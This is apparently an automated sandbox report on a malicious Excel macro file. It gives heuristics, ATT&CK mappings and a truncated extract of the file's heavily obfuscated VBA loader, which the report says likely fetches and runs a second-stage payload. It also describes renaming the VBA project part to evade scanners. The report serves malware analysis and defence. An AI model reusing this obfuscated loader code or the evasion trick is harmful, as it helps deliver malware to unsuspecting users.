MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample is an XLSM file containing obfuscated VBA macros. The Workbook_Open event triggers the execution of a heavily obfuscated function that appears to construct and execute a command. This command likely downloads and executes a second-stage payload, as indicated by the use of GetObject and Shell execution. The obfuscation and evasion techniques (renamed VBA project part) suggest malicious intent.
Heuristics 4
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/lo.i)
-
VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMEDThe VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas5fc6932a86fc6b2279f3bb1be7fc307d7a9d7ed34c46fcbfea0ff63853009bc6 |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 13517 bytes |
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_BeforeClose(Cancel As Boolean)
Application.Wait (Now + TimeValue("0:00:10"))
MsgBox _
StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("XkP dy]AsKXgX ey\CpJPbZ dq[@qBYc\ e~]AtKYbX exXDqIZbQ eyXArIYc] ey]ApKYf", "hRi4THlqAz"))))
computeroo1 = StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("dEeu_yE]eE`u] AXlBduTy@Xe@eu_yDZeDe|]|DYeEe}Zy@XdD`u_yDXeE`t\yEX`EduXxE_dE`tT~DXdDet]pBX`Edt]xEXeFctT~E]eEfr\yEYdLdt]yL_e@et^ DXgDd}]|EYeDduXxEXe@dtT~E\lE`t\xLX`DerYxGXe@et[qEPfDet]|EXc@dtTy@YdEeu_yE]eE`u\xCXlBdv\xD]dEetXyEQbDdq\{EYdLerUyC\dEetXyE^`Emw\yEX`Ee}ZxD]dDdu\pDYeDet]qBYe@dv]xDQeCmt[}DXeE`t] @XmFerZy@P", "UuUDmIuh"))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("djD xejM |do", "UZt4M")))), StrReverse(StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("G{}", "vJHJ")))))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("fROPWgRJQUbSJTU", "Wczae")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("}W]", "McknRJG")))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("I~cEIgtHte@Ja|N|eEJbsH}e", "yMUuzQE")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("HwE", "yFsDKSM3vM")))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("Ez ru D sr Ds ", "tJ4CG2")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("Xsr", "iCCpon")))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("E@v CAw}EDwvDE~ @E", "uuFO")))), StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("Xv ", "iD6YcWIJ")))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("BbH[ECbAZACa", "sSqkp")))), StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("@s}", "qCIG")))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("aM ~s`H veA", "Qx6NF")))), StrReverse(StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("CSk", "rcRYs")))))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("f_UF_[gVUF^^f_RF_^gZRF_Zf_RGV\gVUF_[", "Wobwok")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("ZIM", "jpzO7yOho")))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("hhY@SoY[aj_ESfY]ljYGWfQ^", "YZiqbVim")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("ELu", "uuGMl")))))))
collegeoo4 = StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("vPS uxwT[ ruvRS qqwTV |rvSV vqvRS qqwWR qqwVZ qqwVU qpvSS tqvSV vqvRS qqvRS qqwWS tqvRQ uxwWS tpvRQ uxw[T tpw[T uwvSZ rywTW vqwWS rywZP tqwTW rtvSZ qqwWS vqvRS tyvSV tvvRV }vvRR tqw[T qqvRS tqvPS }vwWR tqw[T qqvSV vqvRS qqvRS qqvSV tvvRV }vvRR tqw[T qqvRS tqwQU }vwWS wwvRS uxvRS }vwWS wwvRQ uxwWS tpvRQ uxwWS tpvSV tqwWR }vwVZ qqwWR", "Gbc5DA"))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("Ez ru D sr Ds ", "tJ4CG2")))), StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("X ", "i61WP")))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("aM ~s`H veA", "Qx6NF")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("xLv", "HuODbc9u")))))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("djD xejM |do", "UZt4M")))), StrReverse(StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("j~t", "ZKLQqzd")))))))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("BbH[ECbAZACa", "sSqkp")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("ELu", "uuGMl")))))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("E@v CAw}
... (truncated)
|
|||
vbaProject_00.binaf0df1c32de5ef4a8b10c1bc2dcd5fcff3e25cb5bdc30ca2c9e64545f396148f |
vba-project | OOXML VBA project: xl/lo.i | 63488 bytes |
Open this report in the interactive analyzer, or submit your own file for analysis.